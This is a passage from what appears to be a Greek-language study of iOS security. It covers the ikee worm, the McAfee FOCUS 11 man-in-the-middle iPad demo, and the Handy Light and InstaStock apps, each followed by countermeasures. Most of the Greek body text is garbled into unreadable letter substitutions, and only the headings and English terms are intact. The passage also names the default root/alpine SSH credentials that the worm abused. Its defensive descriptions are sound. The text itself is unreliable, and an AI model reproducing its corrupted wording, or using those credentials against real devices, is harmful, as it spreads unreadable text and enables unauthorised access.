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Μέτρα αποτροπήσ - JBME3.0 
Ζ δηαηήξεζε ηνπ ιεηηνπξγηθνχ ζπζηήκαηνο θαη ηνπ ινγηζκηθνχ ελεκεξσκέλνπ κε ηα 

ηειεπηαία patches είλαη ε βέιηηζηε πξαθηηθή αζθαιείαο, θαη ην jailbreaking ην θάλεη 

δχζθνιν θαη παξαθηλδπλεπκέλν. Καηά πξψηνλ έλα jailbreaked iphone είλαη επάισην, θαη δελ 

κπνξεί λα ιάβεη ηηο επίζεκεο ελεκεξψζεηο απφ ηελ Apple πνπ επηδηνξζψλνπλ απηά ηα ηξσηά 

ζεκεία θαη νπνηαδήπνηε άιιν πξφβιεκα αλαθχεηαη ζηε ζπλέρεηα. 

ε δηαθνξεηηθή πεξίπησζε πξέπεη ζπλερψο λα επαλαθέξνπκε ζηελ αξρηθή θαηάζηαζε ην 

ηειέθσλφ θάζε θνξά πνπ βγαίλεη κηα λέα ελεκεξσκέλε έθδνζε, ή λα ιακβάλνπκε ηα patches 

απφ αλεπίζεκεο πεγέο. Ζ ζχζηαζε είλαη γηα ελεκέξσζε ηνπ ινγηζκηθνχ ηεο ζπζθεπήο over-

the-air, ακέζσο κφιηο εκθαληζηεί δηαζέζηκε ελεκέξσζε (ππνζηήξημε over-the-air 

ελεκέξσζεο εηζήρζε κε iOS 5.0.1 ). Δπίζεο ρξεηάδεηαη ελεκέξσζε θαη ησλ εθαξκνγψλ 

ηαθηηθά θάζε θνξά πνπ ππάξρεη ζρεηηθή εηδνπνίεζε απφ ην App Store.  

Επιθέςεισ ikee  
 

Σνλ Ννέκβξην ηνπ 2009, εκθαλίζζεθε ην πξψην worm 

πνπ ζηφρεπε ην iOS. Απηφ ην worm, γλσζηφ σο ikee, 

ιεηηνπξγνχζε κε ζάξσζε κπινθ IP πνπ έρνπλ εθρσξεζεί 

ζε παξφρνπο ηειεπηθνηλσληψλ ζηελ Οιιαλδία θαη ηελ 

Απζηξαιία.  

ε iPhone 3GS πνπ έρεη «μεθιεηδψζεη» θαη έρεη 

εγθαηαζηαζεί ην OpenSSH , αλ δελ γίλεη άκεζα αιιαγή 

ησλ πξνεπηιεγκέλσλ θσδηθψλ πξφζβαζεο root , ζε ιίγν  

κπνξεί λα δηαπηζηψζνπκε φηη έρεη αιιάμεη ε «ηαπεηζαξία» 

θαη έρεη αληηθαηαζηαζεί κε ηελ θσηνγξαθία ηνπ πνπ 

ηξαγνπδηζηή ηεο δεθαεηίαο ηνπ 1980 Rick Astley. 

Ζ ινγηθή ήηαλ απιή, ζάξσζε γηα εληνπηζκφ ζπζθεπψλ κε 

ζχξα TCP 22 αλνηθηή (SSH), θαη ζηε ζπλέρεηα 

πξνζπάζεηα ζχλδεζεο κε ηνλ πξνεπηιεγκέλν θσδηθφ 

"root" θαη "alpine" (πξφθεηηαη γηα ηνπο πξνεπηιεγκέλνπο 

θσδηθνχο ζχλδεζεο γηα jailbroken iPhones) . 

Παξαιιαγέο ηνπ worm, φπσο ην iKee.A πξνρσξνχζε ζε 

κεξηθέο βαζηθέο δξάζεηο θαηά ην login, φπσο ε 

απελεξγνπνίεζε ηνπ server SSH πνπ είρε ρξεζηκνπνηεζεί, αιιαγή ηεο ηαπεηζαξία ηνπ 

ηειέθσλνπ, θαζψο επίζεο θαη ηε δεκηνπξγία ελφο ηνπηθνχ αληηγξάθνπ ηνπ worm. Απφ απηφ 

ην ζεκείν, νη κνιπζκέλεο ζπζθεπέο ρξεζηκνπνηνχληαη γηα αλίρλεπζε θαη κφιπλζε άιισλ 

ζπζθεπψλ. Αξγφηεξα παξαιιαγέο, φπσο iKee.B εηζήγαγε ιεηηνπξγηθφηεηα botnet, πνπ είρε 

ηε δπλαηφηεηα λα ειέγρεη κνιπζκέλεο ζπζθεπέο απφ απφζηαζε κέζσ ελφο θαλαιηνχ 

δηνίθεζεο θαη ειέγρνπ (command and control). 

Σν ikee απνηέιεζε έλα νξφζεκν αλαθνξηθά κε ηα ζέκαηα αζθαιείαο πνπ επεξεάδνπλ ην 

iPhone. Ήηαλ θαη ζπλερίδεη λα είλαη ην πξψην θαη κνλαδηθφ δεκνζηνπνηεκέλν, μεθάζαξν 

παξάδεηγκα malware κε επηηπρή ζηφρεπζε ζην iOS. 

Δθκεηαιιεχηεθε κηα βαζηθή αδπλακία δηακφξθσζεο θαη παξφιν πνπ ε ιεηηνπξγηθφηεηα ησλ 

πξψησλ παξαιιαγψλ ήηαλ ζρεηηθά ήπηα, ρξεζίκεπζε γηα λα απνδείμεη φηη ην iOS δελ είλαη 

απξφζβιεην απφ επηζέζεηο θαη φηη ππάξρνπλ πξαγκαηηθέο απεηιέο ζηηο νπνίεο είλαη 

επαίζζεην. 

Σν Ikee απέδεημε φηη ην iOS κπνξεί, ππφ νξηζκέλεο ζπλζήθεο, λα πξνζβιεζεί απφ απφζηαζε, 

Εηθόλα 50 ikee worm 
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φκσο απηφ δελ ζεκαίλεη θαη 'αλάγθε εγγελή (έκθπηε) εππάζεηα ζην iOS. ηελ 

πξαγκαηηθφηεηα, ην αληίζεην είλαη ίζσο κηα πην δίθαηε ππφζεζε γηα λα θάλεη θαλείο .  

Σν iOS είλαη έλα ιεηηνπξγηθφ ζχζηεκα ηχπνπ Unix, κε αξρηηεθηνληθή βαζηζκέλε ζην Mac 

OS X. Απηφ ζεκαίλεη φηη ε πιαηθφξκα κπνξεί λα δερζεί επίζεζε κε έλαλ ηξφπν παξφκνην κε 

απηφλ πνπ ρξεζηκνπνηείηαη γηα λα γίλεη επίζεζε ζε άιια Unix-like ιεηηνπξγηθά ζπζηήκαηα. 

Οη επηινγέο γηα ηελ εμαπφιπζε κηαο επίζεζεο πεξηιακβάλνπλ, απνκαθξπζκέλεο επηζέζεηο 

δηθηχνπ πνπ αθνξνχλ ηελ εθκεηάιιεπζε ησλ επάισησλ ππεξεζηψλ δηθηχνπ, Client-side 

επηζέζεηο, ζπκπεξηιακβαλνκέλεο ηεο εθκεηάιιεπζεο ησλ επάισησλ ηξσηψλ εθαξκνγψλ, 

ηνπηθέο δηθηπαθέο επηζέζεηο, φπσο man-in-the-middle (MITM) ηεο θίλεζεο ηνπ δηθηχνπ, θαη 

επηζέζεηο πνπ ζπλδένληαη κε ηε θπζηθή πξφζβαζε ζηε ζπζθεπή ζηφρν. εκεηψλεηαη, 

σζηφζν, φηη νξηζκέλα ραξαθηεξηζηηθά iOS θάλνπλ θάπνηεο απφ ηηο ηερληθέο απηέο ιηγφηεξν 

απνηειεζκαηηθέο απφ φ, ηη γηα ηηο πεξηζζφηεξεο άιιεο πιαηθφξκεο. 

Γηα παξάδεηγκα, ην πξνθίι δηθηχνπ γηα έλα θαηλνχξγην iPhone (ρσξίο θακία παξέκβαζε) 

αθήλεη πνιχ ιίγα ζεκεία πξφζβαζεο. Μφλν κία ζχξα TCP, 62087, κέλεη αλνηθηή. Γελ έρνπλ 

γίλεη γλσζηέο επηζέζεηο ζε απηήλ ηελ ππεξεζία θαη, αλ θαη θαλέλαο δελ γλσξίδεη εάλ θαη πνηέ 

ππάξμνπλ θαη γίλνπλ γλσζηέο, είλαη αζθαιέο λα πνχκε φηη ην ζπλνιηθφ πξνθίι δηθηχνπ γηα ην 

iOS είλαη ζρεδφλ ειάρηζην.  

ηελ πξάμε, ην λα απνθηήζεη θάπνηνο κε εμνπζηνδνηεκέλε πξφζβαζε ζε έλα iPhone (πνπ 

δελ έρεη ππνζηεί jailbreak) απφ έλα απνκαθξπζκέλν δίθηπν είλαη ζρεδφλ αδχλαην. Κακία απφ 

ηηο ππεξεζίεο πνπ ζπλήζσο απνηεινχλ ζηφρν ησλ δνθηκψλ, φπσο SSH, HTTP θαη SMB, δελ 

έρεη  βξεζεί λα αθήλεη ρψξν γηα επίζεζε. Πξέπεη λα αλαγλσξηζηεί φηη ε Apple παξέρεη έλα 

αζθαιέο configuration γηα ην iPhone απφ ηελ άπνςε απηή. 

Φπζηθά, ππάξρνπλ κεηαβιεηέο πνπ επεξεάδνπλ ηελ ηξσηφηεηα ηνπ iOS ζε επηζέζεηο κέζσ 

δηθηχνπ. Αλ κηα ζπζθεπή έρεη ππνζηεί jailbreak θαη έρνπλ εγθαηαζηαζεί ππεξεζίεο, φπσο ην 

SSH (secure shell), ηφηε απμάλεηαη ε «επηθάλεηα» επίζεζεο. Δθαξκνγέο εγθαηεζηεκέλεο απφ 

ην ρξήζηε πνπ πηζαλψο ζπλδένληαη ζην δίθηπν, απμάλνπλ πεξαηηέξσ ηνλ θίλδπλν ησλ 

απνκαθξπζκέλσλ επηζέζεσλ. Χζηφζν, δεδνκέλνπ φηη απηέο ηξέρνπλ ζηε ζπζθεπή γηα 

ζχληνκα κφλν ρξνληθά δηαζηήκαηα, δελ απνηεινχλ έλα αμηφπηζην κέζν γηα ηελ απφθηεζε 

απνκαθξπζκέλεο πξφζβαζεο ζε κηα ζπζθεπή. 

 

Προςταςία έναντι τησ επίθεςησ iKee worm –Αντίμετρα 
 

Σν iKee worm ζηήξηδε ηελ χπαξμε ηνπ απνθιεηζηηθά ζε εζθαικέλεο ξπζκίζεηο, ζηε ζχλδεζε 

κε ην δίθηπν, ζε iPhones πνπ έρνπλ ππνζηεί jailbreak. Πξνθαλψο ην πξψην αληίκεηξν ζε κηα 

επίζεζε απηνχ ηνπ είδνπο είλαη λα κελ γίλεη jailbreak ζην iPhone. 

ηελ πεξίπησζε πνπ γίλεη jailbreak, πξέπεη λα αιιαρζνχλ νη πξνεπηιεγκέλεο πηζηνπνηήζεηο 

ηεο ζπζθεπήο ακέζσο κεηά ηελ εγθαηάζηαζε ηνπ OpenSSH. Πξνθαλψο ε ζχλδεζε πξέπεη λα 

έρεη γίλεη κε έλα αμηφπηζην δίθηπν. Δπηπιένλ, νη ππεξεζίεο δηθηχνπ, φπσο SSH ζα πξέπεη λα 

ελεξγνπνηνχληαη κφλν φηαλ απηφ είλαη απαξαίηεην θαη λα κελ παξακέλνπλ κφληκα αλνηθηέο.  

Ο γεληθφο θαλφλαο γηα jailbroken ζπζθεπέο είλαη ε αλαβάζκηζε ζηελ ηειεπηαία έθδνζε ηνπ 

jailbreakable iOS φηαλ απηφ είλαη δπλαηφλ, θαη ε εγθαηάζηαζε, ην ζπληνκφηεξν δπλαηφ, ησλ 

patches πνπ παξέρνληαη απφ ηελ θνηλφηεηα.  
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Η επίθεςη FOCUS 11- Man-in-the-Middle  
 

Σνλ Οθηψβξην ηνπ 2011, ζην ζπλέδξην ηεο McAfee FOCUS 11 πνπ πξαγκαηνπνηήζεθε ζην 

Λαο Βέγθαο, ν Stuart McClure κε ηελ νκάδα TRACE McAfee παξνπζίαζαλ κηα ζεηξά 

επηζέζεσλ πνπ πεξηιάκβαλε ην δσληαλφ hack ηνπ iPad.  

Ζ επίζεζε πξαγκαηνπνηήζεθε κε ηε ρξήζε ελφο MacBook Pro laptop, ηε δεκηνπξγία δχν 

δηεπαθψλ αζχξκαηνπ δηθηχνπ θαη, ζηε ζπλέρεηα, ηε δηακφξθσζε κίαο απφ ηηο δηεπαθέο ψζηε 

λα ρξεζηκεχζεη σο έλα θαθφβνπιν ζεκείν αζχξκαηεο πξφζβαζεο (WAP). ην WAP δφζεθε 

έλα SSID παξφκνην κε ην SSID ηνπ λφκηκνπ WAP ηνπ ζπλεδξίνπ. Απηφ έγηλε γηα λα θαλεί 

φηη νη ρξήζηεο ζα κπνξνχζαλ εχθνια λα παξαζπξζνχλ ζε ζχλδεζε κε ην θαθφβνπιν WAP . 

Σν laptop ζηε ζπλέρεηα ρξεζηκνπνηήζεθε ψζηε λα δηνρεηεχεη φιε ηελ θίλεζε απφ ην 

θαθφβνπιν WAP ζην θαλνληθφ WAP. Απηφ έδσζε ζην laptop ηε δπλαηφηεηα, κε ηε 

δηαδηθαζία man-in-the-middle, γηα απνζηνιή θίλεζεο πξνο ή απφ ην iPad.  

Γηα λα γίλνπλ ηα πξάγκαηα πην ελδηαθέξνληα, πξνζηέζεθε ην man-in-the-middle γηα 

ζπλδέζεηο SSL, έλα exploit γηα ηελ CVE-2011-0228 επηθχξσζεο πηζηνπνηεηηθνχ X.509 , 

φπσο αλαθέξζεθε απφ ηελ Trustwave Spider Labs . 

Με απηή ηε ξχζκηζε, ην iPad ρξεζηκνπνηήζεθε γηα πεξηήγεζε ζην Gmail κέζσ SSL. Σν 

Gmail θνξηψζεθε ζηνλ browser ηνπ iPad, αιιά κε κηα λέα πξνζζήθε ζην ζχλεζεο interface - 

έλα iframe πνπ πεξηέρεη ζχλδεζε ζε έλα PDF ηθαλφ λα πξνθαιέζεη ζησπειφ rooting ηεο 

ζπζθεπήο, φπσο θαίλεηαη ζην ρήκα πνπ αθνινπζεί,. Σν PDF πνπ θνξηψζεθε ήηαλ ίδην κε ην 

JBME3.0 PDF, αιιά ήηαλ ηξνπνπνηεκέλν γηα λα κελ ππάξμνπλ νξαηέο αιιαγέο ζην 

Springboard, φπσο ε πξνζζήθε ηνπ εηθνληδίνπ Cydia. Σν PDF ζηε ζπλέρεηα 

ρξεζηκνπνηήζεθε γηα ηε θφξησζε ελφο custom αξρείνπ freeze.tar.xz, πνπ πεξηείρε ην 

jailbreak θαη ηα αληίζηνηρα παθέηα πνπ απαηηνχληαη γηα ηελ εγθαηάζηαζε ηνπ SSH θαη VNC 

ζηε ζπζθεπή. 

 
Εηθόλα 51 Επίζεζε Man-in-the-middle κε ςεύηηθε ζειίδα gmail 
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Ζ FOCUS 11 hack ζρεδηάζηεθε γηα λα απνδείμεη ηελ ηξσηφηεηα ησλ ζπζθεπψλ iOS. Μεξηθνί 

έρνπλ ηελ ιαλζαζκέλε εληχπσζε φηη ην iPhone ή to iPad ζε απηήλ ηελ πεξίπησζε, είλαη 

αζθαιή απφ επηζέζεηο. Σν demo ζρεδηάζηεθε γηα λα επηζεκάλεη ην γεγνλφο φηη είλαη δπλαηφ 

λα απνθηεζεί κε εμνπζηνδνηεκέλε πξφζβαζε ζε iOS ζπζθεπέο. Ζ επίζεζε ζπλδχαδε 

αμηνπνίεζε ησλ client-side ηξσηψλ ζεκείσλ ζπκθψλα κε ηελ ηερληθή JBME3.0 θαη 

επηθχξσζε πηζηνπνηεηηθνχ SSL θαη κηα επίζεζε ζην ηνπηθφ δίθηπν γηα λα απνδείμεη φηη ην 

iOS κπνξεί επίζεο λα δερζεί hacking κε πνιινχο ηξφπνπο. 

 
Εηθόλα 52 Λνγηθή ηνπ MitM 

  

Με άιια ιφγηα, γηα ην ζπάζηκν ηνπ iOS ππάξρνπλ πνιιέο επηινγέο θαη ηξφπνη γηα λα ην 

θαηαθέξεη θαλείο. Δίλαη επίζεο δπλαηέο εμειηγκέλεο επηζέζεηο πνπ αθνξνχλ ηελ 

εθκεηάιιεπζε ησλ πνιιαπιψλ ηξσηψλ ζεκείσλ. Σέινο, ην θαθφβνπιν ζελάξην WAP έδεημε 

φηη ε επίζεζε δελ ήηαλ θάηη ζεσξεηηθφ αιιά πνιχ πξαθηηθφ. Ζ ίδηα ξχζκηζε είλαη θάηη πνπ 

ζα κπνξνχζε λα αλαπαξαρζεί εχθνια, θαη ην ζπλνιηθφ ζελάξην επίζεζεο είλαη θάηη πνπ ζα 

κπνξνχζε λα πξαγκαηνπνηεζεί ζηνλ πξαγκαηηθφ θφζκν . 

 

Προςταςία έναντι τησ επίθεςησ FOCUS 11 –Αντίμετρα 
 

Ζ επίζεζε FOCUS 11 ζπλδχαζε έλα ζχλνιν ηξσηψλ ζεκείσλ 

θαη έλα θαθφβνπιν WAP γηα λα απνθηεζεί κε εμνπζηνδνηεκέλε 

πξφζβαζε ζε κηα επάισηε ζπζθεπή. Σν γεγνλφο φηη πνιιά 

βαζηθά ζηνηρεία ηνπ ιεηηνπξγηθνχ ζπζηήκαηνο είραλ αλαηξαπεί, 

δείρλεη φηη ππάξρνπλ πεξηνξηζκνί θαη δπζθνιίεο ζε ζρέζε κε ηα 

αληηκέηξα πνπ ζα κπνξνχζαλ λα έρνπλ εθαξκνζηεί γηα λα 

απνηξέςνπλ ηελ επίζεζε. 

Σν πξψην κέηξν γηα ηελ απνηξνπή απηήο ηεο ζπγθεθξηκέλεο 

επίζεζεο, είλαη ε ζπλερήο ελεκέξσζε ηεο ζπζθεπή κε ηελ 

ηειεπηαία έθδνζε ηνπ ινγηζκηθνχ θαη ηα ζρεηηθά patches. 

Έλα δεχηεξν αληίκεηξν είλαη ε ξχζκηζε ηεο ζπζθεπήο iOS, λα 

δεηά ηελ άδεηα ηνπ ρξήζηε πξνθεηκέλνπ λα εληαρζεί ζε δίθηπα. 

Ζ ζπζθεπή ζα εληάζζεηαη ζε ήδε γλσζηά δίθηπα απηφκαηα, 

αιιά ζα δεηά άδεηα γηα ζχλδεζε ζε λέα άγλσζηα δίθηπα. Με ηνλ 

ηξφπν απηφ δίλεηαη ε δπλαηφηεηα επηινγήο γηα ζχλδεζε ζε έλα 

δπλεηηθά θαθφβνπιν δίθηπν. Βέβαηα ε επίζεζε  FOCUS11 

ρξεζηκνπνίεζε έλα φλνκα δηθηχνπ WiFi πνπ έκνηαδε "θηιηθφ" θαη νηθείν. Ζ θαιχηεξε βέβαηα 

Εηθόλα 53 Δηαζέζηκα δίθηπα ζην 

iphone 
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ζπκβνπιή είλαη ε ζχλδεζε απνθιεηζηηθά θαη κφλν ζε γλσζηά δίθηπα, απηφ φκσο ζηηο κέξεο 

καο είλαη αξθεηά δχζθνιν ιφγσ ησλ αλαγθψλ επηθνηλσλίαο. 

Θεσξψληαο φηη ε ζχλδεζε κε ην δίθηπν είλαη απαξαίηεηε ζε κηα θνξεηή ζπζθεπή, ε άκπλα 

θαηά απηνχ ηνπ είδνπο ηεο επίζεζεο ηειηθά ζέηεη ην δήηεκα ηεο αμηνιφγεζε ηεο αμίαο ησλ 

δεδνκέλσλ πνπ είλαη απνζεθεπκέλα ζε κηα ζπζθεπή. 

Γηα παξάδεηγκα, αλ κηα ζπζθεπή δελ ζα επεμεξγάδεηαη επαίζζεηα δεδνκέλα ή δελ ζα έρεη 

πξφζβαζε ζε απηά ηα δεδνκέλα, ηφηε ν θίλδπλνο απφ κηα ζπκβηβαζηηθή ιχζε είλαη κηθξφο. 

Χο εθ ηνχηνπ, ε ζχλδεζε ζε αζχξκαηα δίθηπα φρη απφιπηα έκπηζηα θαη ε πξφζβαζε ζην Web 

ή άιινπο πφξνπο ζα είλαη επηηξεπηή. Γηα κηα ζπζθεπή πνπ επεμεξγάδεηαη επαίζζεηα 

δεδνκέλα ή πνπ ζα κπνξνχζε λα ρξεζηκνπνηεζεί σο ζεκείν εηζφδνπ θαη εθθίλεζεο γηα 

επηζέζεηο θαηά ησλ ζπζηεκάησλ πνπ απνζεθεχνπλ ή επεμεξγάδνληαη επαίζζεηα δεδνκέλα, ζα 

πξέπεη λα ιακβάλεηαη πνιχ κεγαιχηεξε κέξηκλα. Φπζηθά, θξαηψληαο ηα επαίζζεηα δεδνκέλα 

εθηφο κηαο θηλεηήο ζπζθεπήο ην έξγν ησλ εηζβνιέσλ γίλεηαη πνιχ πην δχζθνιν. Σν email, νη 

εθαξκνγέο θαη ε πινήγεζε ζην δηαδίθηπν είλαη παξαδείγκαηα ησλ δηαχισλ κέζσ ησλ νπνίσλ 

ηα επαίζζεηα δεδνκέλα κπνξνχλ λα δηαξξεχζνπλ απφ έλα ζχζηεκα. 

ε θάζε πεξίπησζε, ην FOCUS 11 demo έδεημε φηη κε ηελ απιή ζχλδεζε κε έλα αζχξκαην 

δίθηπν θαη ηελ πεξηήγεζε ζε κηα ηζηνζειίδα ήηαλ δπλαηφ θάπνηνο λα αλαιάβεη ηνλ πιήξε 

έιεγρν ηεο ζπζθεπήο. Απηφ ήηαλ δπλαηφ, αθφκε θαη πάλσ απφ SSL. Χο εθ ηνχηνπ, νη ρξήζηεο 

ζα πξέπεη θαηαγξάςνπλ ην γεγνλφο κε ηελ ζεκείσζε φηη απηφ κπνξεί λα ζπκβεί θαη ζε 

απηνχο, θαη πξέπεη λα επηιέγνπλ πξνζεθηηθά ζε πνηα δίθηπα ζα ζπλδεζνχλ, ψζηε λα 

απνθχγνπλ λα βάινπλ ζε θίλδπλν ηηο επαίζζεηεο πιεξνθνξίεο ή αθφκα θαη ηηο ζπζθεπέο 

ηνπο. 
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Κακόβουλεσ εφαρμογέσ: Handy Light , InstaStock 
 

Γηα λα απνθηεζεί κε εμνπζηνδνηεκέλε πξφζβαζε ζην iOS, κπνξεί, λα ρξεζηκνπνηεζνχλ θαη 

άιιεο client-side κέζνδνη. Μηα απφ ηηο, πξνθαλείο αιιά πεξίπινθεο, κεζφδνπο επίζεζεο 

πεξηιακβάλεη εμαπάηεζε ελφο ρξήζηε πξνθεηκέλνπ λα εγθαηαζηήζεη κηα θαθφβνπιε 

εθαξκνγή ζηε ζπζθεπή ηνπ.  

ε κηα ηέηνηα πεξίπησζε δελ αξθεί κφλν ε εμαπάηεζε ηνπ ρξήζηε, αιιά ζα πξέπεη λα γίλεη 

θάηη θαη κε ην κνληέιν δηαλνκήο εθαξκνγψλ ηεο Apple. πσο έρεη ήδε αλαθεξζεί, ην iOS 

έρεη πξνζζέζεη ππνζηήξημε γηα ηελ εγθαηάζηαζε εθαξκνγψλ ηξίησλ. Απηφ έγηλε ιίγν 

δηάζηεκα κεηά ηελ εκπνξηθή δηάζεζε ηνπ iPhone. Ζ Apple επέιεμε λα εθαξκφζεη απηφ σο 

κηα απζηεξά ειεγρφκελε δηαδηθαζία, ζχκθσλα κε ηελ νπνία φιεο νη εθαξκνγέο ζα πξέπεη λα 

ππνγξάθνληαη απφ ηελ Apple θαη λα δηαηίζεληαη κφλν απφ ην επίζεκν App Store. Μηα 

εθαξκνγή πνπ ζα δηαηίζεηαη απφ ην App Store, πξέπεη πξψηα λα ππνβιεζεί ζηελ Apple γηα 

έιεγρν. Δάλ παξνπζηαζηνχλ πξνβιήκαηα θαηά ηε δηάξθεηα ηεο δηαδηθαζίαο ειέγρνπ, ε 

εθαξκνγή απνξξίπηεηαη, θαη δελ κπνξεί λα δηαλέκεηαη απφ ην App Store. 

Ζ Apple δελ ηεθκεξηψλεη δεκνζίσο φιεο ηηο ιεπηνκέξεηεο ηεο δηαδηθαζίαο ειέγρνπ ησλ 

εθαξκνγψλ. Τπάξρνπλ ιίγεο πιεξνθνξίεο ζρεηηθά κε ην ηη έιεγρνο γίλεηαη γηα λα θαζνξηζηεί 

εάλ έλα app είλαη θαθφβνπιν ή φρη. Δίλαη αιήζεηα πάλησο, φηη ιίγεο πεξηπηψζεηο 

«θαθφβνπινπ ινγηζκηθνχ» έρνπλ θπθινθνξήζεη ζην App Store. Λίγεο εθαξκνγέο πνπ 

επέηξεπαλ δηαξξνή επαίζζεησλ πιεξνθνξηψλ, φπσο αξηζκνχο ηειεθψλνπ, ζηνηρεία 

επηθνηλσλίαο, ή άιιεο πιεξνθνξίεο ζρεηηθέο κε ην ρξήζηε έρνπλ εληνπηζηεί θαη 

απνζχξζεθαλ απφ ηε δηάζεζε κέζσ App Store. Φαίλεηαη φηη αλ θαη νη ιεπηνκέξεηεο ηεο 

δηαδηθαζίαο ειέγρνπ είλαη άγλσζηεο, ζα πξέπεη λα είλαη απνηειεζκαηηθέο, δηαθνξεηηθά ζα 

βιέπακε ζε ηαθηηθή βάζε θαθφβνπιν ινγηζκηθφ ζην App Store.  

 

ηα κέζα ηνπ 2010 , κηα λέα εθαξκνγή πνπ νλνκαδφηαλ Handy Light ππνβιήζεθε ζηελ 

Apple γηα έιεγρν, πέξαζε ηε δηαδηθαζία, θαη αξγφηεξα δεκνζηεχηεθε ζην App Store γηα 

πψιεζε. Ζ εθαξκνγή εκθαλίζηεθε σο έλαο απιφο θαθφο, κε ιίγεο επηινγέο γηα ηελ επηινγή 

ηνπ ρξψκαηνο ηνπ θσηφο πνπ ζα εθπέκπεη.  

Λίγν κεηά ηελ δηάζεζε, αλαθαιχθζεθε φηη ην Handy Light app πεξηειάκβαλε έλα θξπθφ 

ραξαθηεξηζηηθφ tethering. Απηφ ην ραξαθηεξηζηηθφ επηηξέπεη ζηνπο ρξήζηεο λα αμηνπνηήζνπλ 

ηηο επηινγέο ρξσκάησλ ηνπ θαθνχ ζε ζπγθεθξηκέλε ζεηξά πνπ μεθηλνχζε ηε ιεηηνπξγία ελφο 

SOCKS proxy server ζην ηειέθσλν πνπ ζα κπνξνχζε λα ρξεζηκνπνηεζεί γηα ηελ ζχλδεζε 

ελφο ππνινγηζηή κε ην Internet κέζσ ηνπ ηειεθψλνπ. ηαλ δεκνζηνπνηήζεθε ε χπαξμε 

απηήο ηεο δπλαηφηεηαο, ε Apple αθαίξεζε ηελ εθαξκνγή απφ ην App Store, θαζψο δελ 

επηηξέπεη εθαξκνγέο πνπ πεξηιακβάλνπλ ππνζηήξημε γηα tethering λα αλαξηψληαη ζην App 

Store. 

Σν ελδηαθέξνλ είλαη φηη ε Apple, αθνχ αμηνιφγεζε ηελ εθαξκνγή Handy Light, ελέθξηλε ηελ 

εθαξκνγή, παξά ην φηη ζπκπεξηειάκβαλε ηε δπλαηφηεηα tethering. Πξνθαλψο δεδνκέλνπ φηη 

ε ιεηηνπξγία tethering ήηαλ θξπκκέλε, δελ βξέζεθε θαηά ηηο δηαδηθαζίεο ειέγρνπ. Απηφ βάδεη 

ζε ζθέςεηο γηα ηε δπλαηφηεηα απφθξπςεο θαθφβνπιεο ιεηηνπξγηθφηεηαο πνπ κπνξεί λα κελ 

εκθαληζζεί θαηά ηελ δηαδηθαζία ειέγρνπ ηεο Apple.  

Σνλ επηέκβξην ηνπ 2011, o hacker ηνπ iOS Charlie Miller ππέβαιε κηα εθαξκνγή πνπ 

νλνκάδεηαη InstaStock ζηελ Apple γηα αμηνιφγεζε. Ζ εθαξκνγή απηή ειέγρηεθε θαη 

εγθξίζεθε, θαη ζηε ζπλέρεηα δεκνζηεχηεθε ζην App Store γηα download . 
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Σν InstaStock θαηλνκεληθά επέηξεπε ζηνπο ρξήζηεο λα παξαθνινπζνχλ θπιηφκελα κελχκαηα 

κεηνρψλ ζε πξαγκαηηθφ ρξφλν θαη θέξεηαη λα έγηλε ιήςε ηνπ απφ αξθεηέο εθαηνληάδεο 

ρξήζηεο. Χζηφζν θξπκκέλν κέζα ζην InstaStock, ήηαλ πξφγξακκα ζρεδηαζκέλν γηα λα 

εθκεηαιιεπηνχλ κηα 0-day εππάζεηα ζην iOS πνπ επέηξεπε ζηελ εθαξκνγή λα θνξηψζεη θαη 

λα εθηειέζεη αλππφγξαθν θψδηθα. Βέβαηα ιφγσ ηεο δηαδηθαζίαο επηθχξσζεο, θαηά ηελ 

εθηέιεζε, ηεο ππνγξαθήο θψδηθα ηνπ iOS, απηφ δελ ζα ήηαλ δπλαηφλ λα πξαγκαηνπνηεζεί. 

 Με ην iOS 4.3, ε Apple εηζήγαγε ηε ιεηηνπξγηθφηεηα 

πνπ απαηηείηαη απφ ην InstaStock γηα λα ιεηηνπξγήζεη. 

ηελ πξαγκαηηθφηεηα, ε Apple εηζήγαγε ηε δπλαηφηεηα 

λα εθηειείηαη αλππφγξαθνο θψδηθαο θάησ απφ έλα 

πνιχ πεξηνξηζκέλν ζχλνιν πεξηζηάζεσλ. Θεσξεηηθά, 

απηή ε δπλαηφηεηα ήηαλ κφλν γηα ην Mobile Safari θαη 

κφλν γηα ην ζθνπφ λα επηηξαπεί ζην Just in Time (JIT), 

compilation ζε JavaScript.  

πσο απνδεηθλχεηαη, έλα ζθάικα εθαξκνγήο επέηξεςε 

ε δπλαηφηεηα απηή λα δηαηίζεηαη ζε φιεο ηηο 

εθαξκνγέο, θαη φρη κφλν ζην Mobile Safari. Απηή ε 

εππάζεηα, (ηψξα ηεθκεξησκέλε σο CVE - 2011-3442), 

θαηέζηεζε δπλαηφ ε εθαξκνγή InstaStock λα 

ρξεζηκνπνηήζεη ην ζχζηεκα θιήζεσλ mmap κε έλα 

ζπγθεθξηκέλν set απφ flags, κε ηειηθφ απνηέιεζκα ηελ 

ηθαλφηεηα λα παξαθάκςεη ηελ επηθχξσζε ηεο 

ππνγξαθήο θψδηθα.  

Με δεδνκέλε ηελ δπλαηφηεηα εθηέιεζεο αλππφγξαθνπ 

θψδηθα, ε εθαξκνγή InstaStock ήηαλ ζε ζέζε λα 

ζπλδεζεί κε έλα command and control server, γηα λα 

ιάβεη θαη λα εθηειέζεη εληνιέο, θαζψο θαη κηα πνηθηιία 

δξάζεσλ, φπσο ε ιήςε εηθφλσλ θαη πιεξνθνξηψλ απφ «κνιπζκέλεο» ζπζθεπέο.  

ζνλ αθνξά ηελ επίζεζε ζην iOS, νη εθαξκνγέο Handy Light θαη InstaStock καο παξέρνπλ 

ηελ απφδεημε φηη ην λα ηνπνζεηεζεί κηα επίζεζε ζην App Store, αλ θαη δελ είλαη εχθνιν, δελ 

είλαη θαη αδχλαην. Τπάξρνπλ πνιιά άγλσζηα ζέκαηα πνπ ζρεηίδνληαη κε απηφλ ηνλ ηχπν 

επίζεζεο. Ζ Apple βέβαηα, εξγάδεηαη γηα ηε βειηίσζε ηεο δηαδηθαζίαο ειέγρνπ, θαη φζν 

πεξλάεη ν θαηξφο, ζα γίλεηαη πην δχζθνιν λα απνθξχπηεηαη κε επηηπρία θαθφβνπιε 

ιεηηνπξγηθφηεηα. 

Σέηνηεο θαθφβνπιεο εθαξκνγέο ζηνρεχνπλ θπξίσο ζην λα απνθηήζνπλ πξφζβαζε ζε φζν ην 

δπλαηφλ πεξηζζφηεξεο ζπζθεπέο. Ζ επξεία θαηαλνκή ησλ δηαζέζηκσλ εθαξκνγψλ ζην App 

Store ζα κπνξνχζε λα απνδεηρζεί έλαο δειεαζηηθφο θνξέαο γηα ηελ εμάπισζε θαθφβνπισλ 

